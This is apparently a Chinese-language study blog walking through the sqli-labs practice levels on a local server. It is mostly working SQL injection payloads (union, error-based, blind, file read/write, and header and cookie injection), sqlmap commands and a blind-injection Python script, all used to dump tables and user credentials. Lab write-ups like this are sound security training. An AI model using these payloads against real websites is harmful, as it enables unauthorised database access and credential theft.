web题目中好多注入啊,学习一波。
我是用的phpstudy,用cmd先打开数据库看看(因为忘了怎么在cmd中打开了,所以试一试)。
F:\phpstudy\PHPTutorial\MySQL\bin>mysql -u root -p
然后输入密码即可进入MySQL,
在MySQL中,把【INFORMATION_SCHEMA】 看作是一个数据库,确切说是信息数据库。其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等。
下面对一些重要的数据字典表做一些说明:
SCHEMATA表:提供了关于数据库的信息。
TABLES表:给出了关于数据库中的表的信息。
COLUMNS表:给出了表中的列信息。
STATISTICS表:给出了关于表索引的信息。
USER_PRIVILEGES表:给出了关于全程权限的信息。该信息源自mysql.user授权表。
SCHEMA_PRIVILEGES表:给出了关于方案(数据库)权限的信息。该信息来自mysql.db授权表。
TABLE_PRIVILEGES表:给出了关于表权限的信息。该信息源自mysql.tables_priv授权表。
COLUMN_PRIVILEGES表:给出了关于列权限的信息。该信息源自mysql.columns_priv授权表。
CHARACTER_SETS表:提供了关于可用字符集的信息。
COLLATIONS表:提供了关于各字符集的对照信息。
COLLATION_CHARACTER_SET_APPLICABILITY表:指明了可用于校对的字符集。
TABLE_CONSTRAINTS表:描述了存在约束的表。
KEY_COLUMN_USAGE表:描述了具有约束的键列。
ROUTINES表:提供了关于存储子程序(存储程序和函数)的信息。此时,ROUTINES表不包含自定义函数(UDF)。
VIEWS表:给出了关于数据库中的视图的信息。
TRIGGERS表:提供了关于触发程序的信息。
原文链接:https://www.cnblogs.com/hfdp/p/5549384.html
1. version()——MySQL 版本
2. user()——数据库用户名
3. database()——数据库名
4. @@datadir——数据库路径
5. @@version_compile_os——操作系统版本
字符串连接函数
concat(str1,str2,...)——没有分隔符地连接字符串
concat_ws(separator,str1,str2,...)——含有分隔符地连接字符串
group_concat(str1,str2,...)——连接一个组的所有字符串,并以逗号分隔每一条数据
也可以使用sqlmap
sqlmap -u “http://127.0.0.1/sqlilabs/Less-1/?id=1″ –dbms mysql –level 3
指定数据库类型为mysql,级别为3(共5级,级别越高,检测越全面),一些命令。
–is-dba 当前用户权限(是否为root权限)
–dbs 所有数据库
–current-db 网站当前数据库
–users 所有数据库用户
–current-user 当前数据库用户
–random-agent 构造随机user-agent
–passwords 数据库密码
–proxy http://local:8080 –threads 10 (可以自定义线程加速) 代理
–time-sec=TIMESEC DBMS响应的延迟时间(默认为5秒)
输入**?id=1**会回显出id=1的用户信息,
尝试输入**?id=1 and 1=1和?id=1 and 1=2**都可以正常回显
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
是单引号闭合错误,
?id=1' and '1'='1 //回显正常
?id=1' and '1'='2 //无回显
输入**?id=1’–+**即可正常回显
接下来用order by来测试表的列数,
?id=1' order by 3--+
?id=1' order by 4--+
可以看出猜测3列时,回显正常,猜测4时,报错,说明这个表有3列。
接下来使用联合查询union
?id=-1' union select 1.2.3--+
1,2,3 只是为了保证union前后两个语句的列数相同,
id=-1 则是为了使前一个查询无返回结果从而返回第二个 select 的查询结果,只需要将数字替换为相应的想要查询的信息即可.比如:
?id =1 union select 1,database(),user()--+
下面使用MySQL自带的一个表information_schema,依次爆库名,爆表名,爆列名,爆数据了
爆库名
?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata--+
爆表名
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+ //可以直接爆表
爆列名
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table.name='users'--+
爆数据
?id=-1' union select 1,username,password from users where id=5--+
还是用ID查询
?id=1 and 1=1
正常回显
?id=1 and 1=2
无回显,不报错
?id=1'
会报错,原因是单引号出现了奇数次
整型注入,用order by测试,发现有3列
?id=1 order by 4--+
会报错
使用union查询
?id=-1 union select 1,2,3--+
1,2,3可以任意替换成其他信息,
如:?id=-1 union select 1,version(),database()--+
得到数据库名字为security后
爆表
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
爆列
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
爆数据
?id=-1 union select 1,username,password from users where id=3--+
输入**?id=1’,报错:
报错提示说)**不对,可见是单引号后面加括号形成的查询语句
尝试构造?id=1')--+
,发现可以正常回显。
然后就和Less-1一样的步骤。
可见是双引号和括号的闭合
构造**?id=1")–+**,正常回显
payload:
http://127.0.0.1/sqlilabs/Less-4/?id=-1%22)%20union%20select%201,2,database()--+
然后就是前面的套路
更具体的可以看Hyafinthus
?id=1
和?id='
正常,且无回显;?id=1'
报错:字符型双注入。
利用双查询注入,可以得出数据库名称
?id=-1' union select 1,count(*),concat_ws('-',(select database()),floor(rand()*2)) as a from information_schema.tables group by a--+
然后,通过group_concat()函数将查到的表名连接并返回报错,得出表名
?id=-1' union select 1,count(*),concat_ws('-',(select group_concat(table_name) from information_schema.tables where table_schema='security'),floor(rand()*2)) as a from information_schema.tables group by a--+
即可一步步得到用户信息。
再来一个报错注入payload
?id=1' and updatexml(1,concat(0x7e,version(),0x7e),1)%23
可见,是双引号的注入,其余和Less-5一样。
分别测试?id=1
,?id=1'
,?id=1"
.
输入单引号测试,出现报错。
You have an error in your SQL syntax
第一、第三条正常,第二条报错:字符型注入
注意:这里要强调一下,一般在Sql查询语句中,单双引号不能同时存在。即数字型/字符型及单/双引号注入能在这三条语句返回的结果判断出来。
分析是否存在括号及个数:
?id=1’ and 1=1–+
将查询语句后半段注释掉发现仍报错,说明有括号。依次增加括号个数,直到回显正常.
?id=1’)) and 1=1–+
注意:一般在Sql查询语句中,想要正常查询到信息,只能在最里层有引号,外层全是小括号。即已知注入类型后依次增加括号数必能分析出括号数(存在注入点)。
这一关是关于文件的一些操作。所以先了解一下关于文件的相关操作。
load_file(file_name);读取文件并返回该文件的内容作为一个字符串。
使用的条件
A.必须有权限读取并且文件可读
and (select count(\*) from mysql.user)>0\*
如果结果返回正常,说明具有读写权限。如果返回错误,则说明管理员给数据库降权。
B.欲读取文件必须在服务器上。
C.必须指定文件完整的路径
D.欲读取文件必须小于max_allowed_packet
实际应用时,文件读取权限是最难满足的,我们有两个难点需要解决:
1.绝对物理路径
2.构造有效的畸形语句(报错爆出绝对路径)
实例:
select 1,2,3,4,hex(replace(load_file(char(99,58,92,119,105,110,100,111,119,115,92,114,101,112,97,105,114,92,115,97,109))))
利用hex()将文件导出来,特别是smb文件
-1 union select 1,1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105))
注意:c:/boot.ini的十六进制是0x633s2f626f6f742e696e69
-1 union select 1,1,1,load_file(C:\\boot.ini)
注意:路径里的/用\代替
SELECT INTO OUTFILE 'file_name'
,导入到文件中,具体参阅其他文章。file_name 不能是一个已经存在的文件。
?id=1
和?id=1"
正常,?id=1'
报错:字符型注入
注意
这里要强调一下,一般在Sql查询语句中,单双引号不能同时存在。即数字型/字符型及单/双引号注入能在这三条语句返回的结果判断出来。
分析是否存在括号及个数:?id=1' and 1=1--+
报错
You have an error in your SQL syntax
说明有括号存在,依次增加括号个数,直到回显正常
?id=1’)) and 1=1–+
注意
一般在Sql查询语句中,想要正常查询到信息,只能在最里层有引号,外层全是小括号。即已知注入类型后依次增加括号数必能分析出括号数(存在注入点)。
尝试导出文件
?id=1')) union select * from users into outfile "F:\\phpstudy\\PHPTutorial\\WWW\\sqlilabs\\Less-7"--+
发现无论怎么弄,但是一直报错,而且该路径下也没有出现文件
可能原因1:
权限不够,需要root权限才能对数据库进行读写操作。
?id=1')) and (select count(*) from mysql.user)>0--+
回显正常,说明不是权限问题。
可能原因2:
mysql数据库中secure_file_priv的参数问题
查看官方文档,secure_file_priv参数用于限制LOAD DATA, SELECT …OUTFILE, LOAD_FILE()传到哪个指定目录。
1.secure_file_priv为NULL时,表示限制mysqld不允许导入或导出。
2.secure_file_priv为/tmp时,表示限制mysqld只能在/tmp目录中执行导入导出其他目录不能执行。
3.secure_file_priv没有值时,表示不限制mysqld在任意目录的导入导出。
输入show variables like '%secure%'
,查看secure_file_priv 的值,发现为NULL,表示限制不能导入导出
如果想要往任意路径下导入导出,那么需要把secure_file_priv的值设成空。
找到mysql目录下的my.ini或者my.cnf文件,写入这句话
secure_file_priv=’’
重启mysql服务器,再次进行查询,secure_file_priv值为空了
再次导出文件
?id=1’)) union select 1,2,’’ into outfile ‘F:\phpstudy\PHPTutorial\WWW\sqlilabs\Less-7\1.php’–+
查看源码,发现对报错信息进行了注释,不能进行报错注入,只能盲注。
盲注payload:?id=1%27and%20if(ascii(substr(database(),1,1))=115,1,sleep(5))--+
第一个字符
?id=1' and if(ascii(substr(database(),2,1))=101,1,sleep(5))--+
第二个字符
以此类推。
盲注脚本:
import requests
url = '''http://192.168.100.102/sqlilabs/Less-8/?id=1' and ascii(substr((select database()),{_},1))
>{__} %23'''
database = ''
for i in range(1,9):
max = 127
min = 65
while abs(max-min)>1:
mid = (max+min)//2
payload = url.format(_=i,__=mid)
ans = requests.get(payload)
if 'You are in...........' in ans.content:
min = mid
else:
max = mid
database = database + chr(max)
print database
Less8中,输入合法时会返回正常页面“You are in”,而非法输入时没有返回任何东西。于是可以根据这个特点跑盲注,通过不同的返回页面来判断匹配的字符是否正确。
而在Less9中,合法输入与非法输入返回为同一个固定字符串。这样就不能根据页面的回显来判断匹配结果,要使用延时函数sleep()对两种输入进行区分。
这一关是单引号闭合。?id=1'
爆库
?id=1'and if(ascii(substr(database(),1,1))=115,1,sleep(5))--+
爆表
?id=1'and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101,1,sleep(5))--+
爆列
?id=1'and if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 3,1),1,1))=105,1,sleep(5))--+
爆内容
?id=1'and if(ascii(substr((select username from users limit 0,1),1,1))=68,1,sleep(5))--+
是双引号闭合?id=1"
?id=1" and if(ascii(substr(database(),1,1))=115,1,sleep(5))--+
这一关开始POST部分了,为了方便查看,使用burpsuite。
可以使用sqlmap
bp抓包后,copy to file,放在sqlmap目录下,
命令如下:
python sqlmap.py -r 11.txt
爆库:python sqlmap.py -r 11.txt --dbs
爆表:python sqlmap.py -r 11.txt -D 数据库名 --tables
爆列:python sqlmap.py -r 11.txt -D 数据库名 -T 表名 --columns
爆内容:python sqlmap.py -r 11.txt -D 数据库名 -T 表名 -C 列名 --dump
按步骤来就可以。
下面是手工注入
测试一下,输入username=1 password=1 抓包
在burpsuite中提交参数
发现uname=1&passwd=1'
报错
uname=1&passd=1
和uname=1&passwd=1"
不报错
可见是单引号闭合
构造永真条件测试注入点:
uname=1&passwd=1' or 1=1--+
因limit0,1返回了表中第一条的信息:Dumb,Dumb,即这里存在注入点,
or'1'='1'
是一个永真条件(也可以用其他永真条件替代),使查询语句相当于select username,password from users where true即select username,password from users,返回所有结果。
利用order by判断字段数
uname=1&passwd=1%27 order by 2--+
不报错
uname=1&passwd=1%27 order by 2--+
报错,说明有两个字段
利用union语句联合查询:得到用户名和数据库名
爆库
uname=1&passwd=-1' union select database(),user()--+
爆表
uname=1&passwd=1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'--+
爆列名
uname=1&passwd=1' union select 1,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+
爆内容
uname=1&passwd=1' union select group_concat(username),group_concat(password) from users--+
uname=1&passwd=1")
报错,可见是双引号+括号闭合
其他操作就和Less-11一样。
uname=1&passwd=1
和uname=1&passwd=1"
不报错
uname=1&passwd=1'
报错,缺少一个括号
uname=1&passwd=1')--+
闭合
uname=1&passwd=1') union select database(),user()--+
居然无回显,看来是想错了
这题和上面的几道不一样,而是和Less-5差不多
尝试一个报错注入payload,成功爆库
uname=1&passwd=1') and updatexml(1,concat(0x7e,database(),0x7e),1)--+
也可以双查询注入
uname=1&passwd=1') union select count(*),concat_ws('-',(select user()),(select database()),floor(rand()*2)) as a from information_schema.tables group by a--+
注意:如果上面的语句没有反应的话,先进行url编码试试看
很奇怪,有时可以回显,有时不能回显。
报错注入比较好使。
爆库
得到库名和用户名
爆表
uname=1&passwd=1') union select count(*),concat_ws('-',(select group_concat(table_name) from information_schema.tables where table_schema='security'),floor(rand()*2)) as a from information_schema.tables group by a--+
爆字段
uname=1&passwd=1') union select count(*),concat_ws('-',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),floor(rand()*2)) as a from information_schema.tables group by a--+
爆内容
uname=1&passwd=1') union select count(*),concat_ws('-',(select concat_ws('-',id,username,password) from users limit 0,1),floor(rand()*2)) as a from information_schema.tables group by a--+
是双引号闭合,其他和上面一样。
其实从前面几关开始,正确回显,是显示这张照片
错误回显,是显示这张照片。
挨个测试这些
uname=1&passwd=1 or 1=1–+
uname=1&passwd=1’ or 1=1–+
uname=1&passwd=1" or 1=1–+
uname=1&passwd=1’) or 1=1–+
uname=1&passwd=1") or 1=1–+
经过测试,uname=1' or 1=1#$passwd=1
回显正确,uname=1 or 1=1#$passwd=1
和uname=1" or 1=1#$passwd=1
是不能正确回显的。
所以是bool型单引号闭合盲注,然后就是盲注的套路。
转自简书Hyafinthus
这两关的后台php文件其实是一样的,只是为了练习两种盲注方式。
GET
Less | 注入方法 | 正确回显 | 错误回显 |
---|---|---|---|
1 | 基于错误注入 | 查询到的用户名和密码 | Mysql错误信息 |
5 | 双注入 | 固定字符串 | Mysql错误信息 |
7 | 导出文件注入 | 固定字符串 | 另一固定字符串 |
8 | Bool型盲注 | 固定字符串 | 无 |
9 | Time型盲注 | 固定字符串 | 同一固定字符串 |
POST
Less | 注入方法 | 成功回显 | 失败回显 | 错误回显 |
---|---|---|---|---|
11 | 基于错误注入 | 用户名和密码 (flag.jpg) | 无 (slap.jpg) | Mysql错误信息 (slap.jpg) |
13 | 双注入 | 无 (flag.jpg) | 无 (slap.jpg) | Mysql错误信息 (slap.jpg) |
15 | Bool/Time型盲注 | 无 (flag.jpg) | 无 (slap.jpg) | 无 (slap.jpg) |
**注意:**GET和POST差别在于,GET只需要提交参数id
,而POST则需要username
与password
都正确。
不像GET中若出现错误回显必是Mysql语法错误(提交时使id
存在),POST若不返回Mysql错误信息,光凭一个登录失败
是分不清是用户名和密码不正确还是出现了Mysql语法错误。
所以我们就需要在POST时构造永真条件使返回忽略用户名和密码不正确这种情况。若将查询语句闭合则会显示登陆成功
,则可以依次增加小括号个数分析查询语句:
uname=1&passwd=1 or 1=1–+
uname=1&passwd=1’ or 1=1–+
uname=1&passwd=1" or 1=1–+
uname=1&passwd=1’) or 1=1–+
uname=1&passwd=1") or 1=1–+
经测试是time型双引号加小括号的盲注。试了一下bool也行。
这个不知道怎么写,在网上查了好多,才看明白点。
作者:Hyafinthus
链接:https://www.jianshu.com/p/62d394c38230
如果想看详细的请看一下这位博主的文章sqlilabs的题解,非常的详细。Hyafinthus,我也是参考他的文章学的。
查看源码
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
//making sure uname is not injectable
$uname=check_input($_POST['uname']);
$passwd=$_POST['passwd'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'User Name:'.$uname."\n");
fwrite($fp,'New Password:'.$passwd."\n");
fclose($fp);
// connectivity
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
//echo $row;
if($row)
{
//echo '';
$row1 = $row['username'];
//echo 'Your Login name:'. $row1;
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
mysql_query($update);
check_input()
function check_input($value)
{
if(!empty($value))
{
// truncation (see comments)
$value = substr($value,0,15);
}
// Stripslashes if magic quotes enabled
if (get_magic_quotes_gpc())
{
$value = stripslashes($value);
}
// Quote if not a number
if (!ctype_digit($value))
{
$value = "'" . mysql_real_escape_string($value) . "'";
}
else
{
$value = intval($value);
}
return $value;
}
几个PHP函数
substr()函数
substr(string,start[,length])
参数 | 描述 |
---|---|
string | 必需,规定要返回其中一部分的字符串 |
start | 必需,规定在字符串的何处开始 |
正数:在字符串的指定位置开始 | |
负数:在从字符串结尾开始的指定位置开始 | |
0:在字符串中的第一个字符处开始 | |
length | 可选,要返回的字符数。如果省略,则返回剩余文本 |
正数:从start参数所在的位置返回的长度 | |
负数:从字符串末端返回的长度 |
get_magic_quotes_gpc()函数
get_magic_quotes_gpc()
函数取得PHP环境配置的变量magic_quotes_gpc(GPC, Get/Post/Cookie)
值。返回0
表示本功能关闭,返回1
表示本功能打开。
当magic_quotes_gpc
打开时,所有的'(单引号)
、"(双引号)
、\(反斜杠)
和NULL(空字符)
会自动转为含有反斜杠的溢出字符。
addslashes()与stripslashes()函数
addslashes(string)
函数返回在预定义字符之前添加反斜杠\
的字符串:
单引号 '
,双引号 "
,反斜杠 \
,空字符 NULL
该函数可用于为存储在数据库中的字符串以及数据库查询语句准备字符串。
**注意:**默认地,PHP对所有的GET、POST和COOKIE数据自动运行
addslashes()
。所以不应对已转义过的字符串使用addslashes()
,因为这样会导致双层转义。遇到这种情况时可以使用函数get_magic_quotes_gpc()
进行检测。
`
stripslashes(string)函数删除由
addslashes()`函数添加的反斜杠。
ctype_digit()函数
ctype_digit(string)
函数检查字符串中每个字符是否都是十进制数字,若是则返回TRUE
,否则返回FALSE
。
mysql_real_escape_string()函数
mysql_real_escape_string(string,connection)
参数 | 描述 |
---|---|
string | 必需,规定要转义的字符串 |
connection | 可选,规定MySQL连接。如果未规定,则使用上一个连接 |
mysql_real_escape_string()
函数转义 SQL 语句中使用的字符串中的特殊字符:
\x00
,\n
,\r
,\
,'
,"
,\x1a
如果成功,则该函数返回被转义的字符串。如果失败,则返回FALSE
。
本函数将字符串中的特殊字符转义,并考虑到连接的当前字符集,因此可以安全用于
mysql_query()
,可使用本函数来预防数据库攻击。
intval()函数
intval(var[,base])
参数 | 描述 |
---|---|
var | 要转换成integer的数量值 |
base | 转化所使用的进制 |
intval()
函数获取变量的整数值。通过使用指定的进制base
转换(默认是十进制),返回变量var
的integer
数值。intval()
不能用于object
,否则会产生E_NOTICE
错误并返回1
。
成功时返回var
的integer
值,失败时返回0
。空的array
返回0
,非空的array
返回1
,最大的值取决于操作系统。
如果
base
是0
,通过检测var
的格式来决定使用的进制:
- 如果字符串包括了
0x
或0X
的前缀,使用16进制hex
;否则,- 如果字符串以
0
开始,使用8进制octal
;否则,- 使用10进制
decimal
。
有参数检查与过滤
**注意:**在用uanme
查询之前,它用check_input()
函数做了检查。
1. 若
uname
非空,截取它的前15个字符。
2. 若php环境变量magic_quotes_gpc
打开,去除转义的反斜杠\
。
3. 若uname
字符串非数字,将其中特殊字符转义;为数字则将其转为数字类型。
所以我们几乎不可能在uname
处注入,唯一的注入点在passwd
处。
子查询注入
当在一个聚合函数如
count()
函数后面,如果使用分组语句如group by
就会把查询的一部分以错误的形式显示出来。
选择哪种方式
子查询注入在Less-5中即双注入,对于update
、delete
和insert
通常都用结合or
的逻辑判断。
在后台是
select
语句时我们能通过union
联合查询CONCAT子查询(即Less5使用的双注入)获得错误信息中的数据。
而这里的后台是update
(delete
/insert
)语句,我们只能通过or
逻辑判断派生表(在Less5中提到一句)来获得错误信息中的数据。
注意:**上面这段是根据实际情况推断出的,但没有触及原理,也不完全正确。经过对比Less5的两种子查询和查找资料,得到了正确的结论。
使用CONCAT子查询时,错误信息提示子查询中应该只包含一个字段。
uname=admin&passwd=' or (select count(*),concat_ws('-',(select database()),floor(rand()*2)) as a from information_schema.tables group by a) where username='admin'--+
使用派生表时,错误信息能返回我们想要的数据。
uname=admin&passwd=' or (select 1 from (select count(*),concat_ws('-',(select user()),floor(rand()*2)) as a from information_schema.tables group by a)b) where username='admin'--+
在下一步之前,我们先理清子查询与派生表。
子查询与派生表
子查询有两种:一是WHERE子句中的子查询;二是FROM子句中的子查询,这种子查询又被称为派生表。
SELECT column_name
FROM table_name
WHERE column_name IN (SELECT column_name
FROM table_name
WHERE condition)
SELECT column_name
FROM (SELECT column_name
FROM table_name
WHERE condition) derived_table_name
WHERE condition
可以看出这两种实际上并无区别!
只是在Less-5中select
查询返回的字段数为3,足够在column_list
中将count()
和concat()
都包含进去,所以用CONCAT子查询更简单。
而在Less-17中update
查询返回的字段数只有1!不足以使count()
后接上concat()
这样一个查询语句,这时候就只能通过派生表再将上一层子查询包裹起来,通过select 1 from (报错的CONCAT子查询) derived_table_name
使注入查询的字段与update
查询的字段数相等!
(严格来说,这里已经不能叫双注入而是三注入了,都称为子查询注入)
所以,子查询注入重点在于控制子查询使涉及字段数相等。select使用union,update/delete/insert使用or。而CONCAT子查询或是派生表只是手段。
爆库
uname=admin&passwd=' or (select 1 from (select count(*),concat_ws('-',(select database()),floor(rand()*2)) as a from information_schema.tables group by a)b) where username='admin'--+
爆表
uname=admin&passwd=' or (select 1 from (select count(*),concat_ws('-',(select group_concat(table_name) from information_schema.tables where table_schema='security'),floor(rand()*2)) as a from information_schema.tables group by a)b) where username='admin'--+
一直没成功Subquery returns more than 1 row子查询返回多行
于是用limit来限制范围,一条一条的来查询,结果一直找不到limit放的位置,以后在研究吧。
爆字段
uname=admin&passwd=' or (select 1 from (select count(*),concat_ws('-',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),floor(rand()*2))as a from information_schema.tables group by a) b) where username='admin'--+
这个也一样Subquery returns more than 1 row
爆内容
uname=admin&passwd=' or (select 1 from (select count(*),concat_ws('-',(**select concat_ws('-',id,username,password) from users limit 0,1**),floor(rand()*2))as a from information_schema.tables group by a) b) where username='admin'--+
不知道为啥开始也报了几次Subquery returns more than 1 row,多提交了几次就可以了。
updatexml()函数
updatexml(xml_target,xpath_expr,new_xml)
参数 | 描述 |
---|---|
xml_target | 目标xml,形式类似于节点目录 |
xpath_expr | xml的表达式(xpath格式) |
new_xml | 用来替换的xml |
updatexml()
函数是MySQL对xml文档数据进行查询和修改的xpath函数。
简单来说就是,用new_xml
把xml_target
中包含xpath_expr
的部分节点(包括xml_target
)替换掉。
如:updatexml(asd, ‘//b’, abc),
运行结果:abc,
其中’//b’的斜杠表示不管b节点在哪一层都替换掉,而’/b’则是指在根目录下替换,此处xml_target的根目录节点是a。
注入原理
updatexml()
的xml_target
和new_xml
参数随便设定一个数,这里主要是利用报错返回信息。利用updatexml()
获取数据的固定payload是:
... or updatexml(1,concat('#',(select * from (select ...) a)),0) ...
爆库
uname=admin&passwd=' or updatexml(1,concat('#',(database())),0)--+
' and updatexml(1,concat(0x7e,database(),0x7e),1)#
0x7e表示~
**注意:**因为xpath_expr
是xpath格式,所以不是所有字符都可以作为concat()
的连接符,如-
、@
便不可以。
爆表
uname=admin&passwd=' or updatexml(1,concat('#',(select group_concat(table_name) from information_schema.tables where table_schema='security')),0)--+
**注意:**这里不要用concat_ws()
,会有未知错误使错误回显显示不全。
爆列
uname=admin&passwd=' or updatexml(1,concat('#',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),0)--+
爆内容
uname=admin&passwd=' or updatexml(1,concat('#',(select concat(id,'#',username,'#',password) from users limit 0,1)),0)--+
报错,You can't specify target table 'users' for update in FROM clause
>您无法在FROM子句中为更新指定目标表’users’
意思是不能先select
表中的某些值,再update
这个表(在同一语句中)。
解决方法:将select
出的结果作为派生表再select
一遍,这样就规避了错误。
**注意:**此问题只出现于MySQL,msSQL和Oracle不会出现此问题。
uname=admin&passwd=' or updatexml(1,concat('#',(select * from (select concat_ws('#',id,username,password) from users limit 0,1) a)),0)--+
**注意:**这里的错误信息只显示了一部分,所以没有一次性输出所有数据(可以做到),而使用limit
偏移注入。
原文链接
尝试了很多次之后,发现回显能够显示你的IP地址,看一下源码。
$uagent = $_SERVER['HTTP_USER_AGENT'];
$IP = $_SERVER['REMOTE_ADDR'];
源码使用HTTP_USER_AGENT
只获取了HTTP请求头的一个部分:User-Agent
。
而获取IP则使用了REMOTE_ADDR
,这能直接获取TCP协议数据包的底层会话IP地址,它能被代理服务器或路由修改伪造,但非修改XFF头就可以更改的。
再看源码:
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
对POST的uname
和passwd
都做了check_input()
处理,在Less-17已经分析了这个函数,所以表单不存在注入点。
不论是否登录成功,都会回显IP
。
登陆成功后回显uagent
,并将uagent
、IP
、uname
插入到security
数据库的uagents
表的uagent
、ip_address
、username
三个字段中。
用已知的用户名登陆一下,并且测试一下X-Forwarded-For和User-Agent
经过这次尝试可以看到:修改XFF头对IP没有影响,登陆成功会回显你的User-Agent
。
这里要输入正确的账号和密码才能绕过账号密码判断,进入处理User-Agent
部分。这跟现实中的注册登录再注入是比较贴合。
所以注入点就在User-Agent
处。
这里我们仍需要根据回显报错来判断INSERT
语句结构,首先任意尝试:
User-Agent: Hyafinthus' updatexml(1,concat('#',(database())),0)--+
源码中
i n s e r t = " I N S E R T I N T O ‘ s e c u r i t y ‘ . ‘ u a g e n t s ‘ ( ‘ u a g e n t ‘ , ‘ i p a d d r e s s ‘ , ‘ u s e r n a m e ‘ ) V A L U E S ( ′ insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES (' insert="INSERTINTO‘security‘.‘uagents‘(‘uagent‘,‘ipaddress‘,‘username‘)VALUES(′uagent’, ‘$IP’, $uname)";
可以看到uagent
是在IP
和uname
之前的
爆库
User-Agent: Specter' or updatexml(1,concat('#',(database())),0),'','')#
User-Agent: Specter' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1
[外链图片转存失败(img-62mqeYzy-1568799670338)(C:\Users\17295\AppData\Roaming\Typora\typora-user-images\1551947686682.png)]
**注意:**这里并不是URL而是HTTP头,所以+
并不会被转义为(空格)
,于是末尾的注释符号要变为#
。
爆表
User-Agent: Specter' and updatexml(1,concat('#',(select group_concat(table_name) from information_schema.tables where table_schema='security')),0),'','')#
爆列
User-Agent: ' or updatexml(1,concat('#',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),0),'','')#
爆内容
User-Agent: ' or updatexml(1,concat('#',(select * from (select concat_ws('#',id,username,password) from users limit 0,1) a)),0),'','')#
登录后,回显Referer信息,
登录成功后发现回显的是Referer
不是User-Agent
,判断INSERT
语句结构:
Referer: Specter' updatexml(1,concat('#',(database())),0)#
应该是表的结构变了,查看源码,只有referer
和IP
insert=“INSERT INTO
security
.referers
(referer
,ip_address
) VALUES (‘ u a g e n t ′ , ′ uagent', ' uagent′,′IP’)”;
知道了表的结构就可已注入了。
爆库:Referer: ' or updatexml(1,concat('#',(database())),0),'')#
爆表:Referer: ' or updatexml(1,concat('#',(select group_concat(table_name) from information_schema.tables where table_schema='security')),0),'')#
爆表:Referer: ' or updatexml(1,concat('#',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),0),'')#
爆内容:Referer: ' or updatexml(1,concat('#',(select * from (select concat_ws('#',id,username,password) from users limit 0,1) a)),0),'')#
原文:https://www.jianshu.com/p/f77ab78dcd35
登录失败
[外链图片转存失败(img-6sDmJHSL-1568799670342)(https://s2.ax1x.com/2019/03/07/kxUPGd.png)]
登录成功
User-Agent
、IP
这样从当次Request
直接获取的,Cookie
这样刷新页面后仍存在的,id
、username
、password
。删除Cookie
的按钮,点击后刷新到初始界面。使用Chrome插件EditThisCookie
查看存储的Cookie
信息:
可以看到只存储了uname
这一个字段的信息,且是明文存储。
修改Cookie
后刷新界面:
便可以得知整个后台流程:
uname
写入Cookie
。Request (GET / POST)
页面时后台判断Cookie是否存在,若不存在则为登录界面;若存在则读取Cookie
中字段uname
。username
查询,若用户存在则将查询到用户id
、username
、password
回显;若不存在…可以判断出注入点就在Cookie
处,但是这里注入有两种途径:
EditThisCookie
修改本地Cookie
文件注入。Burp
修改登陆(POST)
成功后刷新时GET
请求头中的Cookie
值注入,这种方式不会修改本地的Cookie
文件。接下来将重点演示第一种途径的注入。
我们得出后台根据Cookie
中的uname
查询用户的所有信息,即这是个SELECT
语句,我们可以使用最简单的UNION
注入。
uname=Dumb'
uname=Dumb' order by 3#
回显正确,说明有三个字段。
uname=1' union select 1,2,3#
猜测SQL语句,然后看下源码
s q l = " S E L E C T ∗ F R O M u s e r s W H E R E u s e r n a m e = ′ sql="SELECT * FROM users WHERE username=' sql="SELECT∗FROMusersWHEREusername=′cookee’ LIMIT 0,1";
爆库
uname=1’ union select 1,2,database()#`
爆表
1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'#
[外链图片转存失败(img-x6Kiideh-1568799670348)(C:\Users\17295\AppData\Roaming\Typora\typora-user-images\1551967451498.png)]
爆列
1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'#
爆内容
1' union select 1,2,group_concat(concat('-',id,username,password)) from users#
[外链图片转存失败(img-SjSbpTHE-1568799670348)(C:\Users\17295\AppData\Roaming\Typora\typora-user-images\1551967945603.png)]
同样burpsuite也可以,
总算把前20关写完了。多亏了Hyafinthus的题解。
还是和上一关一样,输入用户名登录,uname=Dumb,passwd=Dumb,登陆之后,可以看到和上一关的很像,但是还是有差别的,uname=Dumb
变成了uname = RHVtYg==
很明显是将Dumb进行base64编码,可以在线测试一下,base64编码之后验证了确实是Dumb的base64编码,查看cookie之后,发现也是base64编码的,
开始注入,发现了一个问题,
uname=Dumb’
base64在线加密
Dumb'
后,即base64(Dumb’)=RHVtYiUyNw==
用这个值去修改cookie值之后,发现会有如下警告,猜测是base64最后的表示问题
所以,写一个简单的python脚本
import base64
str1="Dump'"
str2=base64.b64encode(str1)
print(str2)
uname=Dumb’
base64=RHVtcCc=
直接得出 SQL 语句:
SELECT * FROM table_name WHERE username=('$cookie_uname') LIMIT 0,1
即单引号加括号闭合
爆库
uname=1') union select 1,2,database()#
